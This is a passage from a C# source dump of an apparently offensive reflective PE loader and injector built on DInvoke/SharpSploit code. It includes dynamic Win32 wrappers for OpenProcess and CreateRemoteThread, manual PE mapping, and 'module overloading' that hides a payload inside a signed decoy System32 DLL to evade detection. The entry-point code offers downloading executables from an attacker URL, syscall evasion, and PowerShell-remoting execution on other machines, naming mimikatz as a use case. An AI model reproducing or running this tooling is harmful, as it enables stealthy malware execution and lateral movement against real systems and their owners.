X509Chain CertificateChain = new X509Chain();
CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline;
CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
return CertificateChain.Build(FileCertificate);
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Win32.cs
================================================
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
namespace DInvoke.DynamicInvoke
{
///
/// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls.
///
public static class Win32
{
///
/// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
///
/// The Wover (@TheRealWover)
///
///
///
///
public static IntPtr OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId)
{
// Craft an array for the arguments
object[] funcargs =
{
dwDesiredAccess, bInheritHandle, dwProcessId
};
return (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess",
typeof(Delegates.OpenProcess), ref funcargs);
}
public static IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
ref IntPtr lpThreadId)
{
// Craft an array for the arguments
object[] funcargs =
{
hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
};
IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread",
typeof(Delegates.CreateRemoteThread), ref funcargs);
// Update the modified variables
lpThreadId = (IntPtr)funcargs[6];
return retValue;
}
///
/// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process
///
/// Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine).
public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)
{
// Build the set of parameters to pass in to IsWow64Process
object[] funcargs =
{
hProcess, lpSystemInfo
};
bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs);
lpSystemInfo = (bool) funcargs[1];
// Dynamically load and invoke the API call with out parameters
return retVal;
}
public static class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr OpenProcess(
Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
UInt32 dwProcessId
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool IsWow64Process(
IntPtr hProcess, ref bool lpSystemInfo
);
}
}
}
================================================
FILE: DInvoke.ManualMap/Map.cs
================================================
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
namespace DInvoke.ManualMap
{
///
/// Class for manually mapping PEs.
///
public class Map
{
///
/// Maps a DLL from disk into a Section using NtCreateSection.
///
/// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
/// Full path fo the DLL on disk.
/// PE.PE_MANUAL_MAP
public static Data.PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath)
{
// Check file exists
if (!File.Exists(DLLPath))
{
throw new InvalidOperationException("Filepath not found.");
}
// Open file handle
Data.Native.UNICODE_STRING ObjectName = new Data.Native.UNICODE_STRING();
DynamicInvoke.Native.RtlInitUnicodeString(ref ObjectName, (@"\??\" + DLLPath));
IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName));
Marshal.StructureToPtr(ObjectName, pObjectName, true);
Data.Native.OBJECT_ATTRIBUTES objectAttributes = new Data.Native.OBJECT_ATTRIBUTES();
objectAttributes.Length = Marshal.SizeOf(objectAttributes);
objectAttributes.ObjectName = pObjectName;
objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE
Data.Native.IO_STATUS_BLOCK ioStatusBlock = new Data.Native.IO_STATUS_BLOCK();
IntPtr hFile = IntPtr.Zero;
DynamicInvoke.Native.NtOpenFile(
ref hFile,
Data.Win32.Kernel32.FileAccessFlags.FILE_READ_DATA |
Data.Win32.Kernel32.FileAccessFlags.FILE_EXECUTE |
Data.Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES |
Data.Win32.Kernel32.FileAccessFlags.SYNCHRONIZE,
ref objectAttributes, ref ioStatusBlock,
Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_READ |
Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE,
Data.Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT |
Data.Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE
);
// Create section from hFile
IntPtr hSection = IntPtr.Zero;
ulong MaxSize = 0;
Data.Native.NTSTATUS ret = DynamicInvoke.Native.NtCreateSection(
ref hSection,
(UInt32)Data.Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS,
IntPtr.Zero,
ref MaxSize,
Data.Win32.WinNT.PAGE_READONLY,
Data.Win32.WinNT.SEC_IMAGE,
hFile
);
// Map view of file
IntPtr pBaseAddress = IntPtr.Zero;
DynamicInvoke.Native.NtMapViewOfSection(
hSection, (IntPtr)(-1), ref pBaseAddress,
IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
ref MaxSize, 0x2, 0x0,
Data.Win32.WinNT.PAGE_READWRITE
);
// Prepare return object
Data.PE.PE_MANUAL_MAP SecMapObject = new Data.PE.PE_MANUAL_MAP
{
PEINFO = DynamicInvoke.Generic.GetPeMetaData(pBaseAddress),
ModuleBase = pBaseAddress
};
return SecMapObject;
}
///
/// Allocate file to memory from disk
///
/// Ruben Boonen (@FuzzySec)
/// Full path to the file to be alloacted.
/// IntPtr base address of the allocated file.
public static IntPtr AllocateFileToMemory(string FilePath)
{
if (!File.Exists(FilePath))
{
throw new InvalidOperationException("Filepath not found.");
}
byte[] bFile = File.ReadAllBytes(FilePath);
return AllocateBytesToMemory(bFile);
}
///
/// Allocate a byte array to memory
///
/// Ruben Boonen (@FuzzySec)
/// Byte array to be allocated.
/// IntPtr base address of the allocated file.
public static IntPtr AllocateBytesToMemory(byte[] FileByteArray)
{
IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length);
Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length);
return pFile;
}
///
/// Relocates a module in memory.
///
/// Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// void
public static void RelocateModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.BaseRelocationTable : PEINFO.OptHeader64.BaseRelocationTable;
Int64 ImageDelta = PEINFO.Is32Bit ? (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader32.ImageBase) :
(Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader64.ImageBase);
// Ptr for the base reloc table
IntPtr pRelocTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);
Int32 nextRelocTableBlock = -1;
// Loop reloc blocks
while (nextRelocTableBlock != 0)
{
Data.PE.IMAGE_BASE_RELOCATION ibr = new Data.PE.IMAGE_BASE_RELOCATION();
ibr = (Data.PE.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocTable, typeof(Data.PE.IMAGE_BASE_RELOCATION));
Int64 RelocCount = ((ibr.SizeOfBlock - Marshal.SizeOf(ibr)) / 2);
for (int i = 0; i < RelocCount; i++)
{
// Calculate reloc entry ptr
IntPtr pRelocEntry = (IntPtr)((UInt64)pRelocTable + (UInt64)Marshal.SizeOf(ibr) + (UInt64)(i * 2));
UInt16 RelocValue = (UInt16)Marshal.ReadInt16(pRelocEntry);
// Parse reloc value
// The type should only ever be 0x0, 0x3, 0xA
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types
UInt16 RelocType = (UInt16)(RelocValue >> 12);
UInt16 RelocPatch = (UInt16)(RelocValue & 0xfff);
// Perform relocation
if (RelocType != 0) // IMAGE_REL_BASED_ABSOLUTE (0 -> skip reloc)
{
try
{
IntPtr pPatch = (IntPtr)((UInt64)ModuleMemoryBase + ibr.VirtualAdress + RelocPatch);
if (RelocType == 0x3) // IMAGE_REL_BASED_HIGHLOW (x86)
{
Int32 OriginalPtr = Marshal.ReadInt32(pPatch);
Marshal.WriteInt32(pPatch, (OriginalPtr + (Int32)ImageDelta));
}
else // IMAGE_REL_BASED_DIR64 (x64)
{
Int64 OriginalPtr = Marshal.ReadInt64(pPatch);
Marshal.WriteInt64(pPatch, (OriginalPtr + ImageDelta));
}
}
catch
{
throw new InvalidOperationException("Memory access violation.");
}
}
}
// Check for next block
pRelocTable = (IntPtr)((UInt64)pRelocTable + ibr.SizeOfBlock);
nextRelocTableBlock = Marshal.ReadInt32(pRelocTable);
}
}
///
/// Rewrite IAT for manually mapped module.
///
/// Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// void
public static void RewriteModuleIAT(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.ImportTable : PEINFO.OptHeader64.ImportTable;
// Check if there is no import table
if (idd.VirtualAddress == 0)
{
// Return so that the rest of the module mapping process may continue.
return;
}
// Ptr for the base import directory
IntPtr pImportTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);
// Get API Set mapping dictionary if on Win10+
Data.Native.OSVERSIONINFOEX OSVersion = new Data.Native.OSVERSIONINFOEX();
DynamicInvoke.Native.RtlGetVersion(ref OSVersion);
Dictionary ApiSetDict = new Dictionary();
if (OSVersion.MajorVersion >= 10)
{
ApiSetDict = DynamicInvoke.Generic.GetApiSetMapping();
}
// Loop IID's
int counter = 0;
Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR iid = new Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR();
iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(
(IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),
typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)
);
while (iid.Name != 0)
{
// Get DLL
string DllName = string.Empty;
try
{
DllName = Marshal.PtrToStringAnsi((IntPtr)((UInt64)ModuleMemoryBase + iid.Name));
}
catch { }
// Loop imports
if (DllName == string.Empty)
{
throw new InvalidOperationException("Failed to read DLL name.");
}
else
{
string LookupKey = DllName.Substring(0, DllName.Length - 6) + ".dll";
// API Set DLL? Ignore the patch number.
if (OSVersion.MajorVersion >= 10 && (DllName.StartsWith("api-") || DllName.StartsWith("ext-")) &&
ApiSetDict.ContainsKey(LookupKey) && ApiSetDict[LookupKey].Length > 0)
{
// Not all API set DLL's have a registered host mapping
DllName = ApiSetDict[LookupKey];
}
// Check and / or load DLL
IntPtr hModule = DynamicInvoke.Generic.GetLoadedModuleAddress(DllName);
if (hModule == IntPtr.Zero)
{
hModule = DynamicInvoke.Generic.LoadModuleFromDisk(DllName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DllName + ", unable to find the specified file.");
}
}
// Loop thunks
if (PEINFO.Is32Bit)
{
Data.PE.IMAGE_THUNK_DATA32 oft_itd = new Data.PE.IMAGE_THUNK_DATA32();
for (int i = 0; true; i++)
{
oft_itd = (Data.PE.IMAGE_THUNK_DATA32)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt32)(i * (sizeof(UInt32)))), typeof(Data.PE.IMAGE_THUNK_DATA32));
IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt32))));
if (oft_itd.AddressOfData == 0)
{
break;
}
if (oft_itd.AddressOfData < 0x80000000) // !IMAGE_ORDINAL_FLAG32
{
IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));
// Write ProcAddress
Marshal.WriteInt32(ft_itd, pFunc.ToInt32());
}
else
{
ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal);
// Write ProcAddress
Marshal.WriteInt32(ft_itd, pFunc.ToInt32());
}
}
}
else
{
Data.PE.IMAGE_THUNK_DATA64 oft_itd = new Data.PE.IMAGE_THUNK_DATA64();
for (int i = 0; true; i++)
{
oft_itd = (Data.PE.IMAGE_THUNK_DATA64)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt64)(i * (sizeof(UInt64)))), typeof(Data.PE.IMAGE_THUNK_DATA64));
IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt64))));
if (oft_itd.AddressOfData == 0)
{
break;
}
if (oft_itd.AddressOfData < 0x8000000000000000) // !IMAGE_ORDINAL_FLAG64
{
IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));
// Write pointer
Marshal.WriteInt64(ft_itd, pFunc.ToInt64());
}
else
{
ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;
IntPtr pFunc = IntPtr.Zero;
pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal);
// Write pointer
Marshal.WriteInt64(ft_itd, pFunc.ToInt64());
}
}
}
// Go to the next IID
counter++;
iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(
(IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),
typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)
);
}
}
}
///
/// Set correct module section permissions.
///
/// Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// void
public static void SetModuleSectionPermissions(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
// Apply RO to the module header
IntPtr BaseOfCode = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.BaseOfCode : (IntPtr)PEINFO.OptHeader64.BaseOfCode;
DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref ModuleMemoryBase, ref BaseOfCode, Data.Win32.WinNT.PAGE_READONLY);
// Apply section permissions
foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
bool isRead = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_READ) != 0;
bool isWrite = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_WRITE) != 0;
bool isExecute = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_EXECUTE) != 0;
uint flNewProtect = 0;
if (isRead & !isWrite & !isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_READONLY;
}
else if (isRead & isWrite & !isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_READWRITE;
}
else if (isRead & isWrite & isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
}
else if (isRead & !isWrite & isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READ;
}
else if (!isRead & !isWrite & isExecute)
{
flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE;
}
else
{
throw new InvalidOperationException("Unknown section flag, " + ish.Characteristics);
}
// Calculate base
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)ModuleMemoryBase + ish.VirtualAddress);
IntPtr ProtectSize = (IntPtr)ish.VirtualSize;
// Set protection
DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref pVirtualSectionBase, ref ProtectSize, flNewProtect);
}
}
///
/// Manually map module into current process.
///
/// Ruben Boonen (@FuzzySec)
/// Full path to the module on disk.
/// PE_MANUAL_MAP object
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath)
{
// Alloc module into memory for parsing
IntPtr pModule = AllocateFileToMemory(ModulePath);
return MapModuleToMemory(pModule);
}
///
/// Manually map module into current process.
///
/// Ruben Boonen (@FuzzySec)
/// Full byte array of the module.
/// PE_MANUAL_MAP object
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module)
{
// Alloc module into memory for parsing
IntPtr pModule = AllocateBytesToMemory(Module);
return MapModuleToMemory(pModule);
}
///
/// Manually map module into current process starting at the specified base address.
///
/// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
/// Full byte array of the module.
/// Address in memory to map module to.
/// PE_MANUAL_MAP object
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, IntPtr pImage)
{
// Alloc module into memory for parsing
IntPtr pModule = AllocateBytesToMemory(Module);
return MapModuleToMemory(pModule, pImage);
}
///
/// Manually map module into current process.
///
/// Ruben Boonen (@FuzzySec)
/// Pointer to the module base.
/// PE_MANUAL_MAP object
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule)
{
// Fetch PE meta data
Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule);
// Check module matches the process architecture
if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))
{
Marshal.FreeHGlobal(pModule);
throw new InvalidOperationException("The module architecture does not match the process architecture.");
}
// Alloc PE image memory -> RW
IntPtr BaseAddress = IntPtr.Zero;
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
IntPtr pImage = DynamicInvoke.Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE
);
return MapModuleToMemory(pModule, pImage, PEINFO);
}
///
/// Manually map module into current process.
///
/// Ruben Boonen (@FuzzySec)
/// Pointer to the module base.
/// Pointer to the PEINFO image.
/// PE_MANUAL_MAP object
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage)
{
Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule);
return MapModuleToMemory(pModule, pImage, PEINFO);
}
///
/// Manually map module into current process.
///
/// Ruben Boonen (@FuzzySec)
/// Pointer to the module base.
/// Pointer to the PEINFO image.
/// PE_META_DATA of the module being mapped.
/// PE_MANUAL_MAP object
public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage, Data.PE.PE_META_DATA PEINFO)
{
// Check module matches the process architecture
if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))
{
Marshal.FreeHGlobal(pModule);
throw new InvalidOperationException("The module architecture does not match the process architecture.");
}
// Write PE header to memory
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
UInt32 BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
// Write sections to memory
foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
// Calculate offsets
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
// Write data
BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
if (BytesWritten != ish.SizeOfRawData)
{
throw new InvalidOperationException("Failed to write to memory.");
}
}
// Perform relocations
RelocateModule(PEINFO, pImage);
// Rewrite IAT
RewriteModuleIAT(PEINFO, pImage);
// Set memory protections
SetModuleSectionPermissions(PEINFO, pImage);
// Free temp HGlobal
Marshal.FreeHGlobal(pModule);
// Prepare return object
Data.PE.PE_MANUAL_MAP ManMapObject = new Data.PE.PE_MANUAL_MAP
{
ModuleBase = pImage,
PEINFO = PEINFO
};
return ManMapObject;
}
///
/// Free a module that was mapped into the current process.
///
/// The Wover (@TheRealWover)
/// The metadata of the manually mapped module.
public static void FreeModule(Data.PE.PE_MANUAL_MAP PEMapped)
{
// Check if PE was mapped via module overloading
if (!string.IsNullOrEmpty(PEMapped.DecoyModule))
{
DynamicInvoke.Native.NtUnmapViewOfSection((IntPtr)(-1), PEMapped.ModuleBase);
}
// If PE not mapped via module overloading, free the memory.
else
{
Data.PE.PE_META_DATA PEINFO = PEMapped.PEINFO;
// Get the size of the module in memory
IntPtr size = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
IntPtr pModule = PEMapped.ModuleBase;
DynamicInvoke.Native.NtFreeVirtualMemory((IntPtr)(-1), ref pModule, ref size, Data.Win32.Kernel32.MEM_RELEASE);
}
}
}
}
================================================
FILE: DInvoke.ManualMap/Overload.cs
================================================
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using Data = DInvoke.Data;
using Utilities = DInvoke.Utilities;
using DynamicInvoke = DInvoke.DynamicInvoke;
namespace DInvoke.ManualMap
{
public class Overload
{
///
/// Locate a signed module with a minimum size which can be used for overloading.
///
/// The Wover (@TheRealWover)
/// Minimum module byte size.
/// Whether to require that the module be legitimately signed.
///
/// String, the full path for the candidate module if one is found, or an empty string if one is not found.
///
public static string FindDecoyModule(long MinSize, bool LegitSigned = true)
{
string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
{
if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
{
files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
}
}
//Pick a random candidate that meets the requirements
Random r = new Random();
//List of candidates that have been considered and rejected
List candidates = new List();
while (candidates.Count != files.Count)
{
//Iterate through the list of files randomly
int rInt = r.Next(0, files.Count);
string currentCandidate = files[rInt];
//Check that the size of the module meets requirements
if (candidates.Contains(rInt) == false &&
new FileInfo(currentCandidate).Length >= MinSize)
{
//Check that the module meets signing requirements
if (LegitSigned == true)
{
if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true)
return currentCandidate;
else
candidates.Add(rInt);
}
else
return currentCandidate;
}
candidates.Add(rInt);
}
return string.Empty;
}
///
/// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that
/// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
///
/// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
/// Full path to the payload module on disk.
/// Optional, full path the decoy module to overload in memory.
/// PE.PE_MANUAL_MAP
public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true)
{
// Get approximate size of Payload
if (!File.Exists(PayloadPath))
{
throw new InvalidOperationException("Payload filepath not found.");
}
byte[] Payload = File.ReadAllBytes(PayloadPath);
return OverloadModule(Payload, DecoyModulePath, LegitSigned);
}
///
/// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that
/// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
///
/// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
/// Full byte array for the payload module.
/// Optional, full path the decoy module to overload in memory.
/// PE.PE_MANUAL_MAP
public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true)
{
// Did we get a DecoyModule?
if (!string.IsNullOrEmpty(DecoyModulePath))
{
if (!File.Exists(DecoyModulePath))
{
throw new InvalidOperationException("Decoy filepath not found.");
}
byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);
if (DecoyFileBytes.Length < Payload.Length)
{
throw new InvalidOperationException("Decoy module is too small to host the payload.");
}
}
else
{
DecoyModulePath = FindDecoyModule(Payload.Length);
if (string.IsNullOrEmpty(DecoyModulePath))
{
throw new InvalidOperationException("Failed to find suitable decoy module.");
}
}
// Map decoy from disk
Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath);
IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;
// Change permissions to RW
DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE);
// Zero out memory
DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);
// Overload module in memory
Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);
OverloadedModuleMetaData.DecoyModule = DecoyModulePath;
return OverloadedModuleMetaData;
}
}
}
================================================
FILE: Program.cs
================================================
/*
Dynamic PE Reflective Loader/Injector for x86 and x64
*/
using System;
using System.Runtime.InteropServices;
using System.IO;
using System.Collections.Generic;
using static DInvoke.Data.PE;
using static DInvoke.DynamicInvoke.Generic;
using DInvoke.ManualMap;
using System.Net;
using System.Linq;
using System.Diagnostics;
using System.Reflection;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Security.Principal;
using System.Threading;
using System.IO.Pipes;
void print(object input) { Console.WriteLine(input); }
void PrintExit(object input) { Console.WriteLine(input); Environment.Exit(0); } // useful for debuggin
void exit() { Environment.Exit(0); }
byte[] unpacked = new byte[] { };
string url = null;
string PE_b64 = null;
string fromfile = null;
string Args = "";
string ComputerName = null;
bool PatchExitProcs = false;
bool useSysCalls = false;
bool PSRemoting = false;
bool RedirectOutPut = false;
bool DisableLocalSuicide = false;
// -DisableForceExit
void ParseCLIArguments() // a DYI Parser XD
{
void DisplayArgHelp()
{
Console.WriteLine("\n-url, -u url to the binary to download");
Console.WriteLine("\n-file, -f full path to a binary to execute [useful when executing local PE on a remote machine]");
Console.WriteLine("\n-b64PE pass the entire PE as B64 encoded blob (if you are a mad person)");
Console.WriteLine("\n-Args, -args, -a Arguments to be passed to Exe [Optional]");
Console.WriteLine("\n-patch_exit Patch CorExit and ExitProcess to ExitThread [you know what is it if you need it XD]");
Console.WriteLine("\n-syscalls Instead of Mapping ntdll, will use dynamic syscalls [Hell's Gate Technique]");
Console.WriteLine("\n-ComputerName use powershell remoting to execute the PE on a target machine [Optional] (Retrieves output)");
Console.WriteLine("\n-DisableForceExit Disable the 1.5 Minute Maximum Runtime Enforcement [Ex: if running interactive mimikatz]");
Console.WriteLine("\n-help Display this help screen.");
Console.WriteLine("\n\nusage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe [Optional: -Args \"\"]");
Console.WriteLine("usage: .\\SharpReflectivePEInjection.exe -b64PE [Optional: -Args \"\"]");
Console.WriteLine("usage: .\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe -ComputerName server.ad.local [Optional: -Args \"\"]");
}
if (args.Length == 0) { DisplayArgHelp(); Environment.Exit(0); }
for (int arg = 0; arg < args.Length; arg++)
{
if (args[arg] == "-url" || args[arg] == "-u") { url = args[arg + 1]; }
if (args[arg] == "-Args" ) { Args = args[arg + 1]; }
if (args[arg] == "-args") { Args = args[arg + 1]; }
if (args[arg] == "-a") { Args = args[arg + 1]; }
if (args[arg] == "-b64PE") { PE_b64 = args[arg + 1]; }
if (args[arg] == "-syscalls") { useSysCalls = true; }
if (args[arg] == "-patch_exit") { PatchExitProcs = true; }
if (args[arg] == "-help" || args[arg] == "-h" || args[arg] == "--help") { DisplayArgHelp(); Environment.Exit(0); }
if (args[arg] == "-ComputerName") { PSRemoting = true; ComputerName = args[arg + 1];}
if (args[arg] == "RedirectOutPut") { RedirectOutPut = true; } // this flag is for internal use only
if (args[arg] == "-DisableForceExit") { DisableLocalSuicide = true; }
if (args[arg] == "-file" || args[arg] == "-f") { fromfile = args[arg + 1]; }
}
}
ParseCLIArguments();
// this function will run locally and the rest of the code will will be ran reflectively on remote target
// Gets the PE in whatever method the user specifies and always passes it to remote reflector in Base64 format
// allows for bypassing network based restrictions (ex: target machine can't reach the payload server to download the PE)
// allows for easily passing a local PE to remote machine using the (-file) argument
